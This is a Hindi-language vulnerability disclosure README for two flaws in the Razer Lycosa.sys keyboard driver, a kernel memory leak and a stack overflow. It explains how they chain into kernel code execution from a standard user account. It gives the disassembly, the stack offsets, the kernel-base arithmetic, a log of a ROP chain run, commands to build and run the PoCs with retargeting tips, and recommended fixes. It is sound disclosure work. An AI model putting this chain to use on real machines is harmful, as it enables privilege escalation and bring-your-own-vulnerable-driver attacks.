
Razer Lycosa.sys में दो kernel vulnerabilities (CWE-125 memory disclosure + CWE-121 stack overflow) को local privilege escalation के लिए chained किया गया। Coordinated-disclosure सामग्री, Windows 11 पर सत्यापित।
https://github.com/416rehman/DeepZero के माध्यम से खोजा गया
विक्रेता: Razer Inc.
घटक: Lycosa.sys, Razer Lycosa कीबोर्ड फ़िल्टर ड्राइवर, x64
SHA-256: a120a6184ab16864e8a5f1dfd0cd178fca541de463b5cef946e18c34b9b6f716
रिपोर्टर संदर्भ: a120a6184ab16864
स्थिति: अभी तक विक्रेता को रिपोर्ट नहीं किया गया।
यह निर्देशिका एक ही ड्राइवर की एक ही रूटीन में दो अलग-अलग दोषों की रिपोर्ट करती है। इनके मूल कारण और समाधान अलग-अलग हैं, इसलिए प्रत्येक का अपना स्व-निहित फ़ोल्डर है और इन्हें अलग-अलग ट्रैक किया जा सकता है तथा प्रत्येक को अपना पहचानकर्ता सौंपा जा सकता है:
| CVE | दोष | प्रकार | परिणाम |
|---|---|---|---|
| CVE-01 | आउटपुट लंबाई की बफ़र के विरुद्ध जाँच नहीं की जाती, इसलिए ड्राइवर कर्नेल स्टैक मेमोरी लौटाता है | CWE-125 आउट-ऑफ़-बाउंड्स रीड | कर्नेल मेमोरी प्रकटीकरण, एड्रेस स्पेस लेआउट रैंडमाइज़ेशन को विफल करता है |
| CVE-02 | इनपुट लंबाई की बफ़र के विरुद्ध जाँच नहीं की जाती, इसलिए ड्राइवर अपना ही रिटर्न एड्रेस अधिलेखित कर देता है | CWE-121 स्टैक बफ़र ओवरफ़्लो | मनमाना कर्नेल कोड निष्पादन |
दोनों किसी भी ऐसे खाते से पहुँची जा सकती हैं जो लॉग इन कर सकता है और कोई प्रोग्राम चला सकता है। कोई प्रशासनिक अधिकार नहीं, कोई एलिवेशन नहीं, कोई विशेष विशेषाधिकार नहीं। दोनों की पुष्टि Windows 11 25H2 (बिल्ड 26200.8875) पर कोड इंटीग्रिटी लागू और टेस्ट साइनिंग बंद रखते हुए की गई।
अनुभाग 3 बताता है कि दोनों को एक साथ उपयोग करने पर क्या परिणाम मिलता है, यही कारण है कि इन्हें एक ही समय पर रिपोर्ट किया गया है और श्रृंखलाबद्ध प्रूफ़ ऑफ़ कॉन्सेप्ट इस मूल निर्देशिका में रखा गया है।
दोनों RVA 0x1270 पर IRP_MJ_DEVICE_CONTROL हैंडलर में मौजूद हैं, और दोनों कर्नेल स्टैक पर उसी 0x400-बाइट बफ़र पर कार्य करते हैं। शिप किए गए बाइनरी से पढ़ा गया प्रोलॉग दोनों के लिए ज्यामिति तय करता है:
Lycosa+0x1270 48 89 54 24 10 mov [rsp+10h], rdx ; Irp
Lycosa+0x1275 48 89 4c 24 08 mov [rsp+8], rcx ; DeviceObject
Lycosa+0x127a 48 81 ec 98 04 00 00 sub rsp, 498h ; the frame
Lycosa+0x1291 ba 00 04 00 00 mov edx, 400h ; the buffer size
Lycosa+0x1296 48 8d 8c 24 80 00 00 00 lea rcx, [rsp+80h] ; the buffer
rsp+0x80 पर 0x400-बाइट का बफ़र, 0x498-बाइट फ़्रेम के अंदर, बिना कोई नॉन-वोलेटाइल रजिस्टर सहेजे। बफ़र के आरंभ से गिनती करते हुए:
0x000 .. 0x3FF the buffer, which both defects are supposed to stay inside
0x418 the return address of the dispatch routine
0x420 the saved DeviceObject argument
0x428 the saved Irp argument
0x418 = 0x498 - 0x80 है। प्रकटीकरण (CVE-01) 0x3FF से आगे पढ़ता है और जो पाता है उसे लौटा देता है; ओवरफ़्लो (CVE-02) 0x3FF से आगे लिखता है और उसे बदल देता है।
DriverEntry डिवाइस को बिना किसी सुरक्षा विवरणक के बनाता है और उसके लिए एक सिंबॉलिक लिंक प्रकाशित करता है, इसलिए यह \\.\Lycosa पर पहुँच योग्य है:
IoCreateDevice(param_1, 0x20, L"\\Device\\Lycosa", 0x22, 0, 0, &device);
IoCreateSymbolicLink(L"\\DosDevices\\Lycosa", L"\\Device\\Lycosa");
प्रभावित प्रत्येक कंट्रोल कोड FILE_DEVICE_UNKNOWN, METHOD_BUFFERED, FILE_ANY_ACCESS के रूप में डिकोड होता है। FILE_ANY_ACCESS का अर्थ है कि हैंडल पर कोई विशेष पहुँच अधिकार रखना आवश्यक नहीं है, इसलिए डिवाइस ऑब्जेक्ट का सुरक्षा विवरणक ही एकमात्र द्वार है, और यह सभी को पहुँच प्रदान करता है।
इन रिपोर्टों में सभी परिणाम एक मानक उपयोगकर्ता खाते से उत्पन्न किए गए थे जिसकी एकमात्र समूह सदस्यता अंतर्निहित Users समूह थी। खाते के पास कोई प्रशासनिक अधिकार नहीं था, यह एलिवेटेड नहीं था, और डिफ़ॉल्ट से अधिक कोई विशेषाधिकार नहीं रखता था।
ड्राइवर उन मशीनों पर भी लोड होता है जिनमें कभी Razer हार्डवेयर नहीं लगा था, क्योंकि पैकेज वैध रूप से कैटलॉग-साइन किया गया है। यही पैटर्न ब्रिंग-योर-ओन-वल्नरेबल-ड्राइवर हमलों में उपयोग किया जाता है।
अलग-अलग रिपोर्ट किए गए क्योंकि ये अलग-अलग दोष हैं, लेकिन जो विक्रेता इनकी ट्राइएज कर रहा है उसे पता होना चाहिए कि प्रत्येक दूसरे को और बदतर बनाता है।
आधुनिक Windows कर्नेल को एक रैंडमाइज़्ड एड्रेस पर लोड करता है। जो हमलावर रिटर्न एड्रेस को अधिलेखित कर सकता है, उसे अभी भी यह जानना होता है कि उसे किससे अधिलेखित करना है, और सामान्यतः यही बाधा होती है। यह ड्राइवर दोनों प्रश्नों का उत्तर स्वयं दे देता है:
CVE-01 रैंडमाइज़ेशन को हटा देता है। प्रकटीकरण डिस्पैच रूटीन का अपना रिटर्न एड्रेस लौटाता है, जो ntoskrnl.exe के अंदर एक कोड एड्रेस है। इमेज के भीतर उसके ज्ञात ऑफ़सेट को घटाने पर वह बेस मिल जाता है जिस पर कर्नेल लोड है, और वहाँ से कर्नेल के अंदर प्रत्येक एड्रेस ज्ञात हो जाता है। इसकी कोई लागत नहीं है और यह कुछ भी बाधित नहीं करता।
CVE-01 वह मान भी प्रदान करता है जो CVE-02 को फ़ॉल्ट से बचने के लिए चाहिए। जैसा कि CVE-02 अनुभाग 4.4 में वर्णित है, ड्राइवर बाहर निकलते समय ऑफ़सेट 0x428 से Irp को पुनः लोड करता है और उसके माध्यम से लिखता है। एक अनाड़ी ओवरफ़्लो जो रिटर्न एड्रेस तक पहुँचता है, उस पॉइंटर को भी नष्ट कर देता है और रूटीन के लौटने से पहले फ़ॉल्ट कर देता है। इसके बजाय विश्वसनीय एक्सप्लॉइट कॉपी को ठीक 0x428 पर रोक देता है, जिससे वर्तमान अनुरोध का लाइव Irp अपनी जगह बना रहता है, और ड्राइवर सामान्य रूप से पूरा हो जाता है।
फिर CVE-02 निष्पादन को पुनर्निर्देशित करता है, कर्नेल बेस पहले से ज्ञात होने के साथ।
एक अपरिविलेज्ड खाते से, श्रृंखलाबद्ध प्रूफ़ ऑफ़ कॉन्सेप्ट फ़्रेम को पढ़ता है, कर्नेल बेस और बफ़र के स्वयं के कर्नेल एड्रेस की गणना करता है, और एक रिटर्न-ओरिएंटेड चेन भेजता है:
step 1, read what is above the buffer on the kernel stack:
+0x418 return address 0xFFFFF807D565CABB
+0x498 frame pointer 0xFFFFFD042D313750 (read twice, must match)
step 2, turn those into the two addresses the payload needs:
kernel base = 0xFFFFF807D565CABB - 0x25CABB = 0xFFFFF807D5400000
buffer on stack = 0xFFFFFD042D313750 - 0x500 = 0xFFFFFD042D313250
step 4, overflow with a chain that:
pivots the stack onto the buffer, calls nt!ZwCreateFile, and
resumes nt!IopfCallDriver+0x5b
sending 0x428 bytes
call returned: accepted=true error=0
PROOF: C:\Windows\System32\dz_lycosa_kernel_exec.txt now exists.
यह पूरी श्रृंखला है, जिसे आरंभ से अंत तक सत्यापित किया गया। अपरिविलेज्ड खाते ने C:\Windows\System32 के अंतर्गत एक फ़ाइल बनाई, जिस निर्देशिका में उसे अन्यथा लेखन पहुँच से मना कर दिया जाता है, कर्नेल मोड में nt!ZwCreateFile निष्पादित करके। accepted=true का अर्थ है कि सिस्टम कॉल सामान्य रूप से लौटा: श्रृंखला उसी एड्रेस पर फिर से आरंभ होती है जिस पर ड्राइवर लौटने वाला था (nt!IopfCallDriver+0x5b, जो add rsp,0x38 ; ret है), इसलिए थ्रेड समाप्त हो जाता है और मशीन चलती रहती है। बनाई गई फ़ाइल की पुष्टि एक प्रशासक शेल से स्वतंत्र रूप से की गई। पूरा ट्रांसक्रिप्ट logs/exec_create_file.log में है, और विधि METHODOLOGY.md में है।
व्यावहारिक निष्कर्ष यह है कि यह एक ड्राइवर मशीन के किसी भी उपयोगकर्ता को, मेमोरी-सुरक्षा दोष को कर्नेल कोड निष्पादन में बदलने के लिए सामान्यतः आवश्यक दोनों हिस्से प्रदान करता है: रैंडमाइज़ेशन को हटाने वाला एड्रेस प्रकटीकरण, और उसका उपयोग करने वाला कंट्रोल-फ़्लो हाइजैक। साथ में इन्हें मशीन को चलता हुआ छोड़ते हुए एक ठोस विशेषाधिकार प्राप्त क्रिया उत्पन्न करते हुए दिखाया गया।
दोनों समाधान स्वतंत्र हैं और दोनों छोटे हैं, प्रत्येक रिपोर्ट में पूर्ण रूप से बताए गए हैं:
OutputBufferLength को सीमित करें, और IoStatus.Information को वास्तव में उत्पन्न मान पर सेट करें।InputBufferLength को सीमित करें।दोनों रिपोर्टें कंट्रोल डिवाइस को IoCreateDeviceSecure और एक SDDL स्ट्रिंग के साथ बनाने की भी सलाह देती हैं जो इसे प्रशासकों और सिस्टम तक सीमित करे। केवल यह किसी भी दोष को ठीक नहीं करेगा, लेकिन यह उस अपरिविलेज्ड पहुँच को हटा देगा जो दोनों को उनकी गंभीरता देती है।
लिखने से पहले जाँचा गया, क्योंकि डुप्लिकेट रिपोर्ट विक्रेता का समय बर्बाद करती है:
https://aka.ms/VulnerableDriverBlockList से डाउनलोड की गई और उसके 1,713 डिनाई नियमों में खोजी गई। यह फ़ाइल उसमें नहीं दिखती। उस सूची में एकमात्र Razer ड्राइवर Rzpnk.sys है, जो एक अलग घटक है।हमारा मानना है कि दोनों दोष पहले से अरिपोर्टेड हैं और सुधार का स्वागत करेंगे।
उसी पैकेज निर्देशिका में शिप किए गए कई अन्य ड्राइवर इस ड्राइवर की समग्र बनावट साझा करते हैं और उनकी अलग से जाँच की गई है। यहाँ कुछ भी उनके बारे में कथन नहीं है।
pnputil /add-driver Flter2K.inf /install
sc create lycosa_test type= kernel binPath= C:\path\to\Lycosa.sys start= demand
sc start lycosa_test
प्रत्येक दोष का अपने फ़ोल्डर में अपना एकल-उद्देश्य प्रूफ़ ऑफ़ कॉन्सेप्ट है, और इस मूल में श्रृंखलाबद्ध वाला है जो उन्हें जोड़ता है:
# CVE-01, reads only, safe to run anywhere, quickest confirmation of the report
rustc -O CVE-01-kernel-memory-disclosure/poc/lycosa_disclosure.rs -o disc.exe
disc.exe
# CVE-02, stops the machine by design
rustc -O CVE-02-kernel-stack-overflow/poc/lycosa_overflow.rs -o ovf.exe
ovf.exe --yes-crash-this-machine
# the chain: CVE-01 + CVE-02 into a file created in System32, machine left running
rustc -O poc/lycosa_chain.rs -o chain.exe
chain.exe --exec # default target under System32
chain.exe --exec C:\Users\Public\proof.txt # or any path you choose
सब कुछ एक मानक उपयोगकर्ता खाते से चलाएँ। श्रृंखलाबद्ध PoC अपने स्रोत के शीर्ष पर उन दो ड्राइवर स्थिरांकों (FRAME और BUF_AT) को बताता है जिन पर यह निर्भर करता है, इसलिए उन दो संख्याओं को बदलकर इसे किसी भिन्न ड्राइवर बिल्ड पर लक्षित किया जा सकता है। इसके --exec मोड द्वारा उपयोग किए जाने वाले कर्नेल ऑफ़सेट एक विशिष्ट Windows बिल्ड के लिए हैं; प्रोग्राम रन टाइम पर व्युत्पन्न कर्नेल बेस की जाँच करता है और इसका --calibrate मोड वह एक मान रिपोर्ट करता है जो बिल्डों के बीच बदलता है।
README.md this overview and the chaining analysis
METHODOLOGY.md how both were found and confirmed, in order
poc/lycosa_chain.rs the CHAINED proof of concept (both defects)
evidence/ the binary, its package, decompiled sources, dumps
logs/exec_create_file.log transcript of the chained run in section 3
CVE-01-kernel-memory-disclosure/ standalone disclosure for the out-of-bounds read
README.md, poc/lycosa_disclosure.rs, evidence/, logs/
CVE-02-kernel-stack-overflow/ standalone disclosure for the stack overflow
README.md, poc/lycosa_overflow.rs, evidence/, logs/